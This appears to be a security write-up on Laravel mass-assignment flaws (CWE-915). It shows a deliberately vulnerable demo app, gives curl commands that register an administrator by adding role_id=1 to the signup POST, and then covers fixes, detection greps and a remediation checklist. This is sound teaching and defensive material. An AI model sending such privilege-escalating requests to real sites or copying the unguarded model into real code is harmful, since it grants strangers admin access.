CWE-915 · OWASP A04:2021 · Insecure Design


TL;DR

When an Eloquent model has no $fillable array and the controller passes $request->all() straight into Model::create(), an attacker can inject any column name into the INSERT statement. If your users table has a role_id column, anyone can register as an admin with one extra POST parameter. No credentials. No brute force. No exploit chain needed. Just reading the Laravel docs to learn the column naming convention.

Where This Sits in the Kill Chain

Mass assignment is a lateral escalation primitive. It doesn't get an attacker in the door on its own, but it turns the publicly accessible registration endpoint into an instant privilege escalation. In ArtisanBreach LLC, it's the entry point:

Kill chain diagram

Mass assignment is exploitable by any unauthenticated person who can reach the registration page. Zero prior knowledge required.

Vulnerability Classification

CWE CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes
OWASP Top 10 A04:2021, Insecure Design
OWASP API Security API3:2023, Broken Object Property Level Authorization
Affected versions All Laravel versions when $guarded = [] (or when Model::unguard() has been called) and $fillable is absent
Historical precedent GitHub mass assignment breach (2012). Egor Homakov pushed a commit to the Ruby on Rails repository using only his own account, bypassing every ACL. Same vulnerability class, different framework, same root cause.

The Code That Causes This (and Why It Feels Fine)

Open any Laravel tutorial from roughly 2015 to 2023 and you'll find a registration controller like this:

// The “correct” version you see in older tutorials
protected function create(array $data)
{
    return User::create([
        'name'     => $data['name'],
        'email'    => $data['email'],
        'password' => Hash::make($data['password']),
    ]);
}

That's safe. The three fields are explicitly listed. Nothing extra gets through. But at some point, someone decides it's repetitive and refactors it to:

// “Why repeat myself? The validator already checked the input.”
protected function create(array $data)
{
    return User::create($data); // the entire request body goes straight to the ORM
}

This feels completely reasonable. The validator runs first. The form only shows three fields. Nobody's going to type role_id into a registration form, right?

The mental model gap

Developers think about what the form shows the user. Attackers think about what the HTTP endpoint accepts. Those are never the same list.

How this actually happens

Laravel's default is $guarded = ['*'], every attribute is guarded by default. For this vulnerability to exist, someone must have explicitly set protected $guarded = [] on the model or called Model::unguard() globally. This is a common real-world mistake: developers hit the MassAssignmentException during prototyping, set $guarded = [] to “make it work,” and forget to lock it down before shipping.

The Vulnerable Code in ArtisanBreach

Model
No mass-assignment guard defined
// app/Models/User.php
class User extends Authenticatable
{
    use HasFactory, Notifiable;

    // No $fillable, and $guarded is an empty array.
    // This means NOTHING is guarded. Every column is mass-assignable.
    // A common mistake: devs set this to silence MassAssignmentException during dev
    // and never revert it before shipping to production.
    protected $guarded = [];

    protected $hidden = ['password', 'remember_token'];

    protected function casts(): array
    {
        return [
            'email_verified_at' => 'datetime',
            'password'          => 'hashed',
        ];
    }

    public function role(): BelongsTo
    {
        return $this->belongsTo(Role::class);
    }
}
Migration
role_id has privilege meaning
// database/migrations/0001_01_01_000000_create_users_table.php
Schema::create('users', function (Blueprint $table) {
    $table->id();
    $table->foreignId('role_id')->constrained()->default(2); // 2 = standard user, 1 = admin
    $table->string('name');
    $table->string('email')->unique();
    $table->string('password');
    $table->rememberToken();
    $table->timestamps();
});
Controller
Full data array passed to create()
// app/Http/Controllers/Auth/RegisterController.php
protected function create(array $data)
{
    // $data === $request->all() from the RegistersUsers trait.
    // Any key in $data that matches a column name gets written to the database.
    return User::create($data);
}

The SQL Eloquent generates when an attacker sends role_id=1:

INSERT INTO `users` (`name`, `email`, `password`, `role_id`, `updated_at`, `created_at`)
VALUES ('Attacker', 'attacker@evil.com', '$2y$12$...', 1, '2026-06-16 00:00:00', '2026-06-16 00:00:00')
--                                                         ^
--                                                    attacker-supplied

The Attack

Attack sequence diagram

And here's how it looks on the command line:

Step 1

Confirm registration is open:

curl -I http://localhost:8084/register
# HTTP/1.1 200 OK
Step 2

Register with role_id=1 tucked in at the end:

curl -s -X POST http://localhost:8084/register \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -c cookies.txt \
  -b cookies.txt \
  --data-urlencode "_token=$(curl -s http://localhost:8084/register | grep -oP '(?<=_token" value=")[^"]*')" \
  --data-urlencode "name=Attacker" \
  --data-urlencode "email=attacker@evil.com" \
  --data-urlencode "password=Test1234!" \
  --data-urlencode "password_confirmation=Test1234!" \
  --data-urlencode "role_id=1"

# Response: 302 Found -> /home
Step 3

Verify the role actually stuck:

php artisan tinker --execute "
    \$u = \App\Models\User::where('email', 'attacker@evil.com')->first();
    echo 'role_id: ' . \$u->role_id . PHP_EOL;   // role_id: 1
    echo 'role: '    . \$u->role->name . PHP_EOL; // role: Administrator
"
Step 4

Walk into the admin panel:

curl -b cookies.txt -L http://localhost:8084/admin
# HTTP/1.1 200 OK, full admin dashboard

What an Attacker Can Do With This

Right away
  • Admin account created with credentials only they know
  • Full access to every /admin/* route
  • User management: reset passwords, deactivate accounts
  • Content management: modify or delete anything
Once chained further
  • Maintenance mode access, targeted denial-of-service
  • Settings pages that expose additional secrets
  • File upload controls, path to RCE via admin editor
  • Persistence: the account survives deployments and restarts

The Fix

Fix flow diagram
Fix 1 (model layer)
Add $fillable to the model
// app/Models/User.php
class User extends Authenticatable
{
    use HasFactory, Notifiable;

    // Explicit whitelist. Only these columns can be mass-assigned.
    protected $fillable = [
        'name',
        'email',
        'password',
        // role_id intentionally absent
    ];

    protected $hidden = ['password', 'remember_token'];

    protected function casts(): array
    {
        return [
            'email_verified_at' => 'datetime',
            'password'          => 'hashed',
        ];
    }
}
Why $fillable beats $guarded

$guarded = ['role_id'] is a blacklist. You have to manually update it every time a new sensitive column lands in the table. $fillable is a whitelist: closed by default, new columns are blocked unless you explicitly allow them. Default-deny always beats default-allow.

Fix 2 (controller layer)
Extract only the fields you need
// app/Http/Controllers/Auth/RegisterController.php
protected function create(array $data): User
{
    // Name exactly what this controller writes. Nothing else gets through,
    // regardless of what arrives in the request.
    return User::create([
        'name'     => $data['name'],
        'email'    => $data['email'],
        'password' => Hash::make($data['password']),
    ]);
}
Why you want both, not just one
Scenario Only $fillable Only explicit controller Both
Attacker sends role_id=1 at registration Blocked Blocked Blocked at both layers
Developer adds role_id to $fillable for an admin feature, forgets registration Vulnerable again Controller still explicit Controller catches it
Developer refactors controller back to User::create($data) Model still guards Vulnerable again Model catches it

Finding It in Your Codebase

Two greps. Run them against any Laravel project:

# 1. Models with no mass-assignment guard at all
grep -rL '\$fillable\|\$guarded' app/Models/
# Anything in the output is a candidate for review

# 2. Controllers passing unfiltered request data to create() or fill()
grep -rn 'create(\$request\|create(\$data\|fill(\$request\|fill(\$data' \
  app/Http/Controllers/
# Each match needs manual inspection: is $data filtered before it gets here?

If a model shows up in both results (no guard and controller passing full request data), that's a confirmed mass assignment vulnerability.

Laravel also ships a development guard for mass-assignment violations:

// app/Providers/AppServiceProvider.php
public function boot(): void
{
    // Throws MassAssignmentException when an attribute not listed in $fillable
    // is passed. Run it in non-production so violations surface before they ship.
    Model::preventSilentlyDiscardingAttributes(! app()->isProduction());
}
Caveat: only works when $fillable exists

preventSilentlyDiscardingAttributes() checks against the $fillable whitelist. If $guarded = [] and $fillable is absent, no attribute is discarded, everything is accepted. This method won't catch the vulnerability in the state shown in this post. It's only effective after you've added $fillable, as a safety net against stray extra parameters sneaking through.

Remediation Checklist

Add $fillable to every Eloquent model. List only the columns that should be mass-assignable.
Audit every Model::create() and Model::fill() call in your controllers. Replace $request->all() with explicit field arrays.
Enable Model::preventSilentlyDiscardingAttributes() in non-production environments so violations surface at development time, not in prod.
Add a feature test that POSTs role_id=1 to /register and asserts the created user's role_id is the default (2, not 1).
If the endpoint was previously unprotected, audit existing user accounts for anomalous role_id values.
Prefer $fillable (whitelist) over $guarded (blacklist). New columns are blocked by default with a whitelist; with a blacklist, you have to remember to update it every single time.

The Takeaway

This isn't an obscure gotcha buried in PHP internals. It's the direct consequence of the most natural-feeling refactor a Laravel developer makes when they want to keep a controller lean. The exploit requires no tools, no timing, and no prior access: just a browser and the knowledge that Laravel's column naming conventions are in the public docs.

The GitHub breach of 2012 permanently changed how Ruby on Rails handles mass assignment. Laravel learned the same lesson and added the guard system, but left it up to the developer to actually configure it. A model with no $fillable is an open INSERT statement, waiting for anyone who thinks to read the migration file.

The fix is four lines. The test is ten. The cost of not doing it is a free admin account for anyone who reads this post and has five minutes.